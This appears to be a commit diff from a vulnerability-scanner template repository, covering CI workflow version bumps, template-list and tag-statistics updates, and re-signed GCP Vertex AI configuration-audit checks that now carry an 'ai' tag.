Updated haproxy

chore: update KEV and vKEV tags and metadata 🤖
chore: update EPSS scores 🤖
2026-11-07 08:36:19 -10:00 · 2026-07-09 12:52:25 +04:00 · 2026-07-09 04:22:04 +00:00 · 2026-07-09 03:01:09 +00:00 · 2026-07-09 00:05:25 +00:00 · 2026-07-09 00:02:42 +00:00
5615 changed files with 98230 additions and 25919 deletions
@@ -29,7 +29,7 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
@@ -16,7 +16,7 @@ jobs:
      contents: write

    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0

@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -13,7 +13,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
@@ -1,11 +1,21 @@
 name: 📝 Template Checksum

 on:
+  # For YAML changes: wait for signing to complete first, then checksum
+  workflow_run:
+    workflows:
+      - "☑️ Template Sign"
+    types:
+      - completed
+    branches:
+      - main
+  # For non-YAML changes: trigger directly (signing doesn't run for these)
  push:
    branches:
      - main
-    paths:
+    paths-ignore:
      - '**.yaml'
+      - 'templates-checksum.txt'
  workflow_dispatch:

 env:
@@ -14,9 +24,14 @@ env:
 jobs:
  checksum:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: >
+      github.repository == 'projectdiscovery/nuclei-templates' && (
+        github.event_name == 'workflow_dispatch' ||
+        github.event_name == 'push' ||
+        github.event.workflow_run.conclusion == 'success'
+      )
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,10 +14,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: actions/checkout@v7
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN}}'
+          install-only: true
      - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
        env:
          NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,18 +38,11 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      
-      - name: Set up Go
-        uses: actions/setup-go@v6
+      - uses: actions/checkout@v7
+
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          go-version: '1.24'
-          
-      - name: Install Nuclei
-        run: |
-          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
-          nuclei -version
-        shell: bash
+          install-only: true
          
      - name: Sign Windows Templates
        run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,10 +23,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: actions/checkout@v7
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN }}'
+          install-only: true
      - name: Validate templates
        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

@@ -40,8 +40,8 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v5
-      - uses: dorny/paths-filter@v3
+      - uses: actions/checkout@v7
+      - uses: dorny/paths-filter@v4
        id: filter
        with:
          list-files: shell
@@ -52,9 +52,9 @@ jobs:
              - '!.github/**'
            changed:
              - added|modified: *templates
-      - uses: projectdiscovery/actions/setup/nuclei@v1
+      - uses: projectdiscovery/nuclei-action@v3
        with:
-          token: '${{ secrets.GITHUB_TOKEN }}'
+          install-only: true
      - run: bash weak-matcher-checks.sh
        id: check
        if: steps.filter.outputs.changed == 'true'
@@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7

      - name: Install Python3
        uses: actions/setup-python@v6
@@ -1,8 +0,0 @@
-.idea/
-.DS_Store
-local/
-.checksum
-.new-additions
-*.txt
-/.claude
-CLAUDE.md
@@ -1,25 +1,62 @@
-dns/acme-challenge-detect.yaml
-http/cves/2018/CVE-2018-7765.yaml
-http/cves/2020/CVE-2020-19363.yaml
-http/cves/2021/CVE-2021-37598.yaml
-http/cves/2025/CVE-2025-25570.yaml
-http/cves/2025/CVE-2025-46349.yaml
-http/cves/2025/CVE-2025-46550.yaml
-http/cves/2026/CVE-2026-21858.yaml
-http/exposed-panels/sanity-studio-panel.yaml
-http/exposures/files/gcloudignore-file.yaml
-http/exposures/files/joe-deadjoe-file-exposure.yaml
-http/exposures/files/postgres-history-exposure.yaml
-http/exposures/logs/cacti-log-exposure.yaml
-http/misconfiguration/cacti-fpd.yaml
-http/misconfiguration/installer/fork-installer.yaml
-http/misconfiguration/mybb-full-path-disclosure.yaml
-http/misconfiguration/wordpress/wp-add-search-to-menu-fpd.yaml
-http/misconfiguration/wordpress/wp-advanced-iframe-fpd.yaml
-http/misconfiguration/wordpress/wp-advanced-responsive-video-embedder-fpd.yaml
-http/misconfiguration/wordpress/wp-hostinger-fpd.yaml
-http/misconfiguration/wordpress/wp-really-simple-captcha-fpd.yaml
-http/misconfiguration/wordpress/wp-updraftplus-fpd.yaml
-http/misconfiguration/wordpress/wp-w3-total-cache-fpd.yaml
-http/misconfiguration/wordpress/wp-wpforms-lite-fpd.yaml
-http/misconfiguration/wordpress/wp-wpfront-scroll-top-fpd.yaml
+dns/dns-internal-ip-disclosure.yaml
+http/cves/2026/CVE-2026-10823.yaml
+http/cves/2026/CVE-2026-13731.yaml
+http/cves/2026/CVE-2026-1890.yaml
+http/cves/2026/CVE-2026-22778.yaml
+http/cves/2026/CVE-2026-28496.yaml
+http/cves/2026/CVE-2026-30958.yaml
+http/cves/2026/CVE-2026-34413.yaml
+http/cves/2026/CVE-2026-48282.yaml
+http/cves/2026/CVE-2026-48313.yaml
+http/cves/2026/CVE-2026-48611.yaml
+http/cves/2026/CVE-2026-52815.yaml
+http/cves/2026/CVE-2026-56782.yaml
+http/cves/2026/CVE-2026-8037.yaml
+http/cves/2026/CVE-2026-8383.yaml
+http/cves/2026/cve-2026-44381.yaml
+http/default-logins/dahua/dahua-icc-default-login.yaml
+http/exposed-panels/array-networks-ssl-vpn-panel.yaml
+http/exposed-panels/aruba-via-vpn-panel.yaml
+http/exposed-panels/cradlepoint-gateway-panel.yaml
+http/exposed-panels/ctrlpanel-panel.yaml
+http/exposed-panels/cyberoam-firewall-panel.yaml
+http/exposed-panels/ddwrt-panel.yaml
+http/exposed-panels/ecessa-panel.yaml
+http/exposed-panels/elfiq-panel.yaml
+http/exposed-panels/endian-firewall-panel.yaml
+http/exposed-panels/featherpanel-panel.yaml
+http/exposed-panels/firemon-asset-manager-panel.yaml
+http/exposed-panels/fortinet-fortianalyzer-panel.yaml
+http/exposed-panels/headscale-panel.yaml
+http/exposed-panels/hillstone-ssl-vpn-panel.yaml
+http/exposed-panels/jotty-page-login-panel.yaml
+http/exposed-panels/netgate-pfsenseplus-panel.yaml
+http/exposed-panels/netsweeper-webadmin-panel.yaml
+http/exposed-panels/nuage-networks-vsp-panel.yaml
+http/exposed-panels/ocserv-panel.yaml
+http/exposed-panels/peplink-incontrol-panel.yaml
+http/exposed-panels/sangfor-iam-panel.yaml
+http/exposed-panels/sangfor-ngaf-panel.yaml
+http/exposed-panels/silver-peak-edgeconnect-panel.yaml
+http/exposed-panels/sma-opcon-panel.yaml
+http/exposed-panels/smoothwall-firewall-panel.yaml
+http/exposed-panels/sonicwall-analytics-panel.yaml
+http/exposed-panels/sophos-utm-panel.yaml
+http/exposed-panels/stormshield-network-security-panel.yaml
+http/exposed-panels/thegreenbowvpn-panel.yaml
+http/exposed-panels/trend-micro-deep-security-panel.yaml
+http/exposed-panels/ubiquiti-edgerouter-panel.yaml
+http/exposed-panels/unifi-securitygateway-panel.yaml
+http/exposed-panels/wg-easy-panel.yaml
+http/exposed-panels/zywall-usg-panel.yaml
+http/iot/openremote-detect.yaml
+http/misconfiguration/installer/ctrlpanel-installer.yaml
+http/misconfiguration/marimo-auth-bypass.yaml
+http/takeovers/godaddy-parked-domain.yaml
+http/technologies/google-iap-detect.yaml
+http/technologies/tibco-businessworks-detect.yaml
+http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
+http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
+http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
+javascript/cves/2025/CVE-2025-29635.yaml
+network/misconfig/open-socks-proxy.yaml
@@ -38,3 +38,5 @@ files:
  - javascript/enumeration/minecraft-enum.yaml
  - http/miscellaneous/crypto-address-detect.yaml
  - http/vulnerabilities/wp-functions-php-disclosure.yaml
+  - dns/acme-challenge-detect.yaml
+  - aaaa-fingerprint.yaml
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6552},{"name":"cve","count":3799},{"name":"discovery","count":3278},{"name":"vkev","count":1579},{"name":"wordpress","count":1434},{"name":"panel","count":1381},{"name":"xss","count":1324},{"name":"wp-plugin","count":1256},{"name":"exposure","count":1253},{"name":"rce","count":874},{"name":"tech","count":850},{"name":"osint","count":847},{"name":"misconfig","count":843},{"name":"lfi","count":810},{"name":"wp","count":758},{"name":"devops","count":748},{"name":"cloud","count":702},{"name":"detect","count":635},{"name":"edb","count":598},{"name":"wpscan","count":587},{"name":"cve2021","count":575},{"name":"cve2022","count":556},{"name":"packetstorm","count":552},{"name":"cve2024","count":540},{"name":"cve2023","count":535},{"name":"sqli","count":518},{"name":"unauth","count":511},{"name":"intrusive","count":494},{"name":"login","count":486},{"name":"authenticated","count":479},{"name":"kev","count":466},{"name":"file","count":389},{"name":"network","count":373},{"name":"oast","count":323},{"name":"cve2020","count":314},{"name":"default-login","count":295},{"name":"cve2025","count":293},{"name":"config","count":286},{"name":"tcp","count":269},{"name":"apache","count":262},{"name":"microsoft","count":252},{"name":"token-spray","count":247},{"name":"auth-bypass","count":236},{"name":"top-200","count":235},{"name":"gcp","count":233},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"gcloud","count":225},{"name":"cve2019","count":218},{"name":"token","count":217},{"name":"malware","count":214},{"name":"azure","count":210},{"name":"","count":208},{"name":"cve2018","count":202},{"name":"iot","count":196},{"name":"aws","count":192},{"name":"csp-bypass","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"code","count":185},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":168},{"name":"ssrf","count":166},{"name":"security","count":162},{"name":"keys","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"linux","count":137},{"name":"ftp","count":135},{"name":"router","count":135},{"name":"disclosure","count":130},{"name":"cve2017","count":129},{"name":"files","count":129},{"name":"cms","count":128},{"name":"audit","count":122},{"name":"phishing","count":119},{"name":"kubernetes","count":117},{"name":"cve2010","count":115},{"name":"js","count":106},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"file-upload","count":100},{"name":"debug","count":92},{"name":"windows-audit","count":90},{"name":"oracle","count":90},{"name":"oss","count":90},{"name":"seclists","count":88},{"name":"passive","count":87},{"name":"privesc","count":86},{"name":"fpd","count":83},{"name":"takeover","count":82},{"name":"enum","count":82},{"name":"cisco","count":81},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":76},{"name":"adobe","count":74},{"name":"cve2015","count":66},{"name":"deserialization","count":66},{"name":"detection","count":66},{"name":"vmware","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"atlassian","count":61},{"name":"google","count":60},{"name":"dast","count":57},{"name":"logs","count":57},{"name":"traversal","count":56},{"name":"cve2014","count":55},{"name":"php","count":55},{"name":"ssh","count":54},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"api","count":50},{"name":"ssti","count":50},{"name":"plugin","count":49},{"name":"osint-gaming","count":49},{"name":"injection","count":49},{"name":"generic","count":49},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ibm","count":48},{"name":"fortinet","count":47},{"name":"vulhub","count":46},{"name":"oob","count":46},{"name":"cnvd","count":46},{"name":"wp-theme","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"ssl","count":43},{"name":"miscellaneous","count":43},{"name":"springboot","count":43},{"name":"firewall","count":43},{"name":"info-leak","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"listing","count":42},{"name":"osint-hobby","count":42},{"name":"xxe","count":42},{"name":"postgresql","count":41},{"name":"tls","count":41},{"name":"k8s-cluster-security","count":41},{"name":"sap","count":40},{"name":"dns","count":39},{"name":"dlink","count":39},{"name":"jira","count":39},{"name":"devsecops","count":38},{"name":"cti","count":38},{"name":"google-cloud-sql","count":36},{"name":"graphql","count":36},{"name":"dashboard","count":36},{"name":"osint-coding","count":36},{"name":"fuzz","count":35},{"name":"xwiki","count":35},{"name":"osint-misc","count":35},{"name":"gitlab","count":35},{"name":"printer","count":34},{"name":"networking","count":34},{"nameLine truncated
+{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6552 | dhiyaneshdk   |  1967 | http       |  9725 | info     |  4451 | file |   445 |
-| cve       |  3799 | daffainfo     |   937 | cloud      |   662 | high     |  2666 | dns  |    28 |
-| discovery |  3278 | princechaddha |   863 | file       |   445 | medium   |  2575 |      |       |
-| vkev      |  1579 | dwisiswant0   |   806 | network    |   277 | critical |  1639 |      |       |
-| wordpress |  1434 | ritikchaddha  |   726 | code       |   276 | low      |   437 |      |       |
-| panel     |  1381 | pussycat0x    |   721 | dast       |   249 | unknown  |    56 |      |       |
-| xss       |  1324 | pikpikcu      |   352 | workflows  |   206 |          |       |      |       |
-| wp-plugin |  1256 | pdteam        |   316 | javascript |   103 |          |       |      |       |
-| exposure  |  1253 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| rce       |   874 | 0x_akoko      |   274 | dns        |    25 |          |       |      |       |
+| vuln      |  6626 | dhiyaneshdk   |  2114 | http       | 10970 | info     |  5013 | file |   447 |
+| cve       |  4283 | daffainfo     |   949 | cloud      |   663 | high     |  2915 | dns  |    33 |
+| discovery |  3729 | princechaddha |   867 | file       |   447 | medium   |  2803 |      |       |
+| vkev      |  1795 | dwisiswant0   |   807 | code       |   288 | critical |  1820 |      |       |
+| wordpress |  1656 | pussycat0x    |   797 | network    |   280 | low      |   504 |      |       |
+| panel     |  1537 | ritikchaddha  |   779 | dast       |   249 | unknown  |    58 |      |       |
+| wp-plugin |  1473 | rxerium       |   644 | workflows  |   207 |          |       |      |       |
+| exposure  |  1456 | 0x_akoko      |   417 | javascript |   124 |          |       |      |       |
+| xss       |  1409 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
+| osint     |  1131 | theamanrawat  |   343 | dns        |    30 |          |       |      |       |
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
